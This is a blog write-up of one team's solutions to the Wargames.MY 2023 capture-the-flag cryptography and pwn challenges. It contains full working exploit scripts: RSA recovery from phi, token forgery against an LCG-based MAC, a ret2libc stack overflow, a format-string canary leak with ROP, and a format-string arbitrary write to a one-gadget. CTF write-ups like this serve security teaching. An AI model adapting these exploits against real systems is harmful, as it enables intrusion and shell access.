Write Up Cryptography And PWN Challenges on Wargames.MY 2023 Capture The Flag
Hi everyone! My name is Nafiz. Yesterday, I participate Wargames.MY 2023 Capture The Flag with my friend, Dhianita Shafa and Muhammad Naufal Ardhani on team CSI representing my university (IPB University). My nickname is ZafiN on that CTF competition. My team got 2nd place/first runner up on Wargames.MY 2023 CTF. On that competition, i managed to solve all cryptography and pwn challenge. In this blog, I want to explain how i can solve it. I got 2 first blood on pwn (1) and cryptography (1) challenge btw :D. Image on below is final scoreboard for top three team, my team on place 2 from IPB University. Place 1 and 3 are from National University of Singapore (NUS).
Cryptography
There are 3 challenge on cryptography. Let me start from the easiest one (based on how many team can solve this chall).
N-less RSA
given a source code python, this is the source code.
from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import next_prime
def generate_secure_primes():
p = getStrongPrime(1024)
q = int(next_prime(p*13-37*0xcafebabe))
return p,q
# Generate two large and secure prime numbers
p,q = generate_secure_primes()
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
print(f"{phi=}")
print(f"{e=}")
print(f"{c=}")
# Output
# phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# e=65537
# c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484the script just encrypt the flag with RSA algorithm, but it doesn’t print the public modulus instead print the secret phi. Because we know e and phi from the script, we can get private exponent d using inverse(e, phi). But we need the public modulus n too. How i can recovered it from the information in the source code?
We know that from the source code, generate_secure_prime function is insecure because the q depends on the p value while in RSA p and q must be independent random prime to be secure. We can formulate the relation between p and q with this formula.
And the value k must be small enough because using next_prime function and we can bruteforce it to get the actual value. We also know the value and formula of the phi like this.
Now we can substitute the q, and the formula of phi will like this.
Now, from above formula we know all value (also k because its small enough to bruteforced) except p. This formula form a quadratic equations with the variable p. Now, we can solved it using sagemath roots on Polynomial Ring class. Restricted domain of variable to ZZ to get the actual value of p. After get the value of p, the res is trivial for decrypting RSA.
Here’s the solver i made in sage
from sage.all import *
from Crypto.Util.number import *
phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
e=65537
c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
P.<x> = PolynomialRing(ZZ)
k = 0
solved = False
while not solved:
f = (x - 1) * (13 * x - 37 * 0xcafebabe + k - 1) - phi
sols = f.roots()
if sols:
p = int(sols[0][0])
if p.bit_length() > 1000 and isPrime(p):
print("Found", k, p)
solved = True
k += 1
q = (phi // (p - 1)) + 1
n = p * q
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(int(m)))Flag : wgmy{a9722440198c2abad490478875be2815}
Hohoho 2
given a source code python, this is the source code.
#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
n = getRandomNBitInteger(64)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
x = bytes_to_long(self.name.encode(errors="surrogateescape"))
# LCG fast skip implementation
# is equivalent to the following code
# for _ in range(n):
# x = (a*x + c) % m
x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
return hex(x)[2:] == self.mac
def generateToken(name):
x = bytes_to_long(name.encode(errors="surrogateescape"))
x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
return hex(x)[2:]
def printMenu():
print("1. Register")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
name = str(input("Enter your name: "))
if "Santa Claus" in name:
print("Cannot register as Santa!\n")
continue
print(f"Use this token to login: {generateToken(name)}\n")
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main()The goal to get the flag from the script is to login as Santa Claus and go to option 4. But we can’t register as Santa Claus. How to bypass it?
The vulnerability is on process from generating token in generateToken function. the x value come from raw user input, its not armored with hash like sha256 etc. So as an attacker, we can control the value of x to anything we want.
We can formulate the token with this formula
Because token in modulo m, we can simplified the equation of token function with this formula
Lets compute token(1) and token(0), what will we got?
Now, from token(1) and token(0), we can calculate arbitrary token with this formula
So, to calculate token of Santa Claus, we only need token(0) and token(1) then compute the token with formula on image above. then login as Santa Claus with that token then got the flag
Here’s the my solver / exploit in python
from pwn import *
from Crypto.Util.number import *
NC = "13.229.150.169:34053".split(":")
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
r = remote(NC[0], NC[1])
def goto(n):
r.sendlineafter(b": ", str(n).encode())
def register(name):
goto(1)
r.sendlineafter(b"name: ", name)
r.recvuntil(b"login: ")
return int(r.recvline(0).decode(), 16)
token_0 = register(b"\x00")
token_1 = register(b"\x01")
get_arbitrary_token = lambda x : (token_0 + (token_1 - token_0) * bytes_to_long(x)) % m
token = get_arbitrary_token(b"Santa Claus")
goto(2)
r.sendlineafter(b"name: ", b"Santa Claus")
r.sendlineafter(b"token: ", hex(token)[2:].encode())
goto(4)
r.interactive()
Flag : wgmy{6bd7f862cbfa8b802a63b09979d00ee6}
Hohoho 2 Continue
given a source code python, this is the source code.
#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
n = getRandomNBitInteger(64)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
x = bytes_to_long(self.name.encode(errors="surrogateescape"))
# LCG fast skip implementation
# is equivalent to the following code
# for _ in range(n):
# x = (a*x + c) % m
x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
return hex(x)[2:] == self.mac
def generateToken(name):
x = bytes_to_long(name.encode(errors="surrogateescape"))
x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
return hex(x)[2:]
def printMenu():
print("1. Register (Disabled)")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
# TODO: Fix forge token bug
print("Disabled because got serious bug!\n")
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main()The main different from Hohoho 2 challenge is we cannot use register feature anymore. How i bypass it?
Recall from Hohoho 2 challenge, we can formulate the token with this formula
then let
token formula will change to this
Let compute token(-y), the result will be like this
Interesting right?
Since y doesn’t contain n that only value we don’t know, we can compute value of token(-y). Now, we want the name still contain Santa Claus. This problem is easy. Because the server only check the name contain Santa Claus and not exactly the same, We can search names like Santa Claus***** from equation like this
# only pseudocode
bytes_to_long(b"Santa Claus***") % m = -y % m
# solve this equation to get the real name value that contain Santa Clausafter get the valid name, then we can login to the server with that name and token = -y.
Here’s the my solver / exploit in python
from pwn import *
from Crypto.Util.number import *
NC = "13.229.150.169:34054".split(":")
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
r = remote(NC[0], NC[1])
def goto(n):
r.sendlineafter(b": ", str(n).encode())
nama = bytes_to_long(b"Santa Claus")
inv_amin1 = inverse(a-1, m)
y = inv_amin1 * c
for i in range(120, 1000, 8):
kanan = nama << i
hasil = (-(y + kanan)) % m
name_payload = long_to_bytes(kanan+hasil)
if b"Santa Claus" in name_payload:
break
goto(2)
r.sendlineafter(b"name: ", name_payload)
token = (-y) % m
r.sendlineafter(b"token: ", hex(token)[2:].encode())
goto(4)
r.interactive()
Flag : wgmy{de112c46f10460e45cc4bcd76abd804a}
I got first blood on this chall :D
PWN
Magic Door
given the binary that run on the server and this is the protection on binary
this is the decompiled in ida
int __fastcall main(int argc, const char **argv, const char **envp)
{
open_the_door(argc, argv, envp);
return 0;
}__int64 open_the_door()
{
char s1[12]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+Ch] [rbp-4h]
initialize();
puts("Welcome to the Magic Door !");
printf("Which door would you like to open? ");
__isoc99_scanf("%11s", s1);
getchar();
if ( !strcmp(s1, "50015") )
return no_door_foryou();
v2 = atoi(s1);
if ( v2 != 50015 )
return no_door_foryou();
else
return magic_door(50015LL);
}In order to get call magic_door we must input a string that doesn’t equal to 50015 but the integer convertion is equal to 50015. The trick is simple, you just input 50015 + 2**32 and you get call the magic_door function.
this is the decompiled of magic_door function
char *magic_door()
{
char s[8]; // [rsp+10h] [rbp-40h] BYREF
__int64 v2; // [rsp+18h] [rbp-38h]
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+40h] [rbp-10h]
__int64 v8; // [rsp+48h] [rbp-8h]
*(_QWORD *)s = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
puts("Congratulations! You opened the magic door!");
puts("Where would you like to go? ");
return fgets(s, 256, stdin);
}The vulnerability is obvious, buffer overflow on stack because s only 8 bytes array but fgets read 256 bytes. In order to get the shell, we use well known ret2libc technique. Leaking libc using pop rdi got puts and call puts then calculate base libc then calling system(“/bin/sh”).
Here’s my exploit in python
#!/usr/bin/env python3
from pwn import *
exe = ELF("./magic_door_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("13.229.150.169", 34056)
return r
def main():
r = conn()
# good luck pwning :)
a = 50015 + 2**32
r.sendlineafter(b"open?", str(a).encode())
# 0x0000000000401434 : pop rdi ; ret
payload = b'a'*72
payload += p64(0x0000000000401434)
payload += p64(exe.got.puts)
payload += p64(exe.sym.puts)
payload += p64(exe.sym.magic_door)
r.sendlineafter(b"go?", payload)
r.recvline()
leak = u64(r.recvn(6) + b"\x00"*2)
print(hex(leak))
base = leak - 0x80e50
system = base + 0x50d70
binsh = base + 0x1d8698
payload = b'a'*72
payload += p64(0x0000000000401434)
payload += p64(binsh)
payload += p64(0x0000000000401434+1)
payload += p64(system)
r.sendlineafter(b"go?", payload)
r.interactive()
if __name__ == "__main__":
main()
Flag : wgmy{4a029bf40a28039c8492acfa866f8d96}wgmy{4a029bf40a28039c8492acfa866f8d96}
Pak Mat Burger
given the binary that run on the server and the binary is fully protected
this is the decompiled main in ida
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *s2; // [rsp+0h] [rbp-40h]
char s1[9]; // [rsp+Ah] [rbp-36h] BYREF
char s[10]; // [rsp+13h] [rbp-2Dh] BYREF
char format[12]; // [rsp+1Dh] [rbp-23h] BYREF
char v8[15]; // [rsp+29h] [rbp-17h] BYREF
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
initialize(argc, argv, envp);
s2 = getenv("SECRET_MESSAGE");
if ( s2 )
{
puts("Welcome to Pak Mat Burger!");
printf("Please enter your name: ");
__isoc99_scanf("%11s", format);
printf("Hi ");
printf(format);
printf(", to order a burger, enter the secret message: ");
__isoc99_scanf("%8s", s1);
if ( !strcmp(s1, s2) )
{
puts("Great! What type of burger would you like to order? ");
__isoc99_scanf("%14s", v8);
getchar();
printf("Please provide your phone number, we will delivered soon: ");
return (unsigned int)fgets(s, 100, stdin);
}
else
{
puts("Sorry, the secret message is incorrect. Exiting...");
return 0;
}
}
else
{
puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
return 1;
}
}in order to run properly the binary, we must create env variable called SECRET_MESSAGE. then we must guess the correct secret message in order to go in if block. because there is format string vulnerability, we can leak secret message. after enumerating secret message on local, we know the offset secret message is 6. then we got the secret message. Because env key is static we can leak another address via format string like pie and canary. after enumerating, we get canary at offset 13 and pie at offset 17. we can calculate base address of pie using gdb.
In ida there is a function called secret_order. this is the decompilization.
int secret_order()
{
return system("cat ./flag.txt");
}So, we have canary and pie. then we can call this function to get the flag
here’s my exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pakmat_burger_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe
context.log_level = "warning"
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("13.229.150.169", 34058)
return r
def main():
# for i in range(1, 31):
# try:
# r = conn()
# payload = f"%{i}$s".encode()
# r.sendlineafter(b"name: ", payload)
# r.recvuntil(b"Hi ")
# print(r.recvuntil(b"," , drop=True), i)
# r.close()
# except:
# r.close()
r = conn()
# good luck pwning :)
payload = b"%13$p.%17$p"
secret = b"996dcd6f" # different between connection, must leak again when get new connection
r.sendlineafter(b"name: ", payload)
r.recvuntil(b"Hi ")
aa = r.recvuntil(b",", drop=True).split(b".")
canary = eval(aa[0])
leak = eval(aa[1])
exe.address = leak - 4980
print(hex(canary), hex(exe.address))
# gdb.attach(r)
r.sendlineafter(b"secret message: ", secret)
r.sendlineafter(b"order?", b'a')
payload = b"a"*37
payload += p64(canary)*2
payload += p64(exe.address + 0x000000000000101a)
payload += p64(exe.sym.secret_order)
r.sendlineafter(b"soon: ", payload)
r.interactive()
if __name__ == "__main__":
main()Flag : wgmy{bdd44777c70a7a9c7d07a073d3b439b5}
Free Juice
given the binary that run on the server and the binary is fully protected
this is the decompiled main in ida
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
initialize(argc, argv, envp);
do
{
displayMenu();
printf("Enter your choice: ");
_isoc99_scanf("%d", &v4);
if ( v4 == 3 )
{
drinkJuices();
continue;
}
if ( v4 > 3 )
{
if ( v4 == 4 )
{
puts("Exiting...");
continue;
}
if ( v4 == 1337 )
{
secretJuice();
continue;
}
}
else
{
if ( v4 == 1 )
{
chooseJuices();
continue;
}
if ( v4 == 2 )
{
refillJuices();
continue;
}
}
puts("Invalid choice. Please try again.");
}
while ( v4 != 4 );
return 0;
}unsigned __int64 secretJuice()
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( chosenJuice )
{
puts("Let us know what juices you need and we will get back to you!");
_isoc99_scanf("%256s", format);
printf("Current Juice : ");
printf(format);
strncpy(chosenJuice, format, 0xFFuLL);
chosenJuice[255] = 0;
putchar(10);
}
else
{
puts("Please choose a juice first.");
}
return __readfsqword(0x28u) ^ v2;
}there is format string vulnerability in secretJuice. since this will exit when we input 4. we have a infinite format string. we must leak libc and stack, then calculate rip and create rop with one gadget to perform arbitrary write on rip to write rop using format string vulnerability.
here’s my exploit
from pwn import *
exe = ELF("./free-juice_patched", checksec=False)
libc = ELF("./libc-2.23.so", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
NC = "13.229.150.169:34060".split(":")
context.log_level = "warning"
r = remote(NC[0], NC[1])
if args.LOCAL:
r = process("./free-juice_patched")
one_gadget = [283258, 983972, 987719]
def goto(n):
r.sendlineafter(b"choice: ", str(n).encode())
def choose_juice(n):
goto(1)
r.sendlineafter(b": ", str(n).encode())
def refill_juice(quantity):
goto(2)
r.sendlineafter(b": ", str(quantity).encode())
def drink_juice():
goto(3)
def secret_choice(message):
goto(1337)
r.sendlineafter(b"you!\n", message)
r.recvuntil(b"Current Juice : ")
return r.recvline(0)
# for i in range(1, 31):
# choose_juice(1)
# print(secret_choice(f"%{i}$p".encode()), i)
choose_juice(1)
leaks = secret_choice(b"%1$p.%3$p.%8$p").split(b".")
libc.address = eval(leaks[1]) - 1012672
rip = eval(leaks[0]) + 10184
print(hex(rip))
print(hex(libc.address))
rop = p64(libc.address + one_gadget[2])
for i in range(len(rop)):
if rop[i]:
message = f"%{rop[i]}c%9$hhn".encode()
else:
message = b"%9$hhn"
message = message.ljust(24, b'a')
message += p64(rip + i)
choose_juice(1)
secret_choice(message)
goto(4)
r.interactive()
Flag : wgmy{316c204a8c142edcb2a8fb6fe10223d9}